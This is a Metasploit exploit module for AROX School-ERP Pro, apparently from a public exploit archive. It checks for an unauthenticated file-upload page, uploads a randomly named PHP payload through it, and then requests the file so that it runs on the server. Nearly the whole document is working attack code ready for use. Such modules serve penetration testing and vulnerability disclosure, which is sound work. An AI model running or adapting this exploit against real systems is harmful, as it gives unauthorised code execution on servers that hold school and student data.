AROX School-ERP Pro - Unauthenticated Remote Command Execution Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => "AROX School-ERP Pro Unauthenticated Remote Code Execution",
      'Description' => %q(
        This module exploits a command execution vulnerability in AROX School-ERP.
        "import_stud.php" and "upload_fille.php" do not have session control. 
        Session start/check functions in Line 8,9,10 are disabled with slashes.
        Therefore an unathenticated user can execute the command on the system.
      ),
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module
        ],
      'References' =>
        [
          ['URL', 'http://www.pentest.com.tr/exploits/AROX-School-ERP-Pro-Unauthenticated-RCE-Metasploit.html'],
          ['URL', 'https://sourceforge.net/projects/school-erp-ultimate/'] # Download
        ],
      'Platform' => 'php',
      'Arch' => ARCH_PHP,
      'Targets' => [['Automatic', {}]],
      'Privileged' => false,
      'DisclosureDate' => "Jun 17 2019",
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, "Base ERP directory path", '/'])
      ]
    )
  end

  def exec(shell)
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "greatbritain", "greatbritain", "upload_data", "#{shell}") # shell url
    })
  end

  def upload_shell(check)

    fname = Rex::Text.rand_text_alpha_lower(8) + ".php"
    @shell = "#{fname}"
    pdata = Rex::MIME::Message.new
    pdata.add_part("" + payload.encoded, 'application/octet-stream', nil, "form-data; name=\"txtdocname\"; filename=\"#{fname}\"")
    pdata.add_part('Submit', nil, nil, 'form-data; name="btnsubmit"')
    data = pdata.to_s

    res = send_request_cgi({
      'method' => 'POST',
      'data'  => data,
      'agent' => 'Mozilla',
      'ctype' => "multipart/form-data; boundary=#{pdata.bound}",
      'uri' => normalize_uri(target_uri.path, "greatbritain", "greatbritain", "upload_fille.php")
    })

    if res && res.code == 200 && res.body =~ /Successfully/
      print_status("Trying to upload #{fname}")
      return true
    else
      fail_with(Failure::NoAccess, 'Error occurred during uploading!')
      return false
    end
  end

  def exploit
    unless Exploit::CheckCode::Vulnerable == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end

    if upload_shell(true)
      print_good("Upload successfully.")
      exec(@shell)
    end
  end

  def check

    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "greatbritain", "greatbritain", "upload_fille.php")
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    if res && res.code == 200 && res.body =~ /upload_fille.php/
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end
end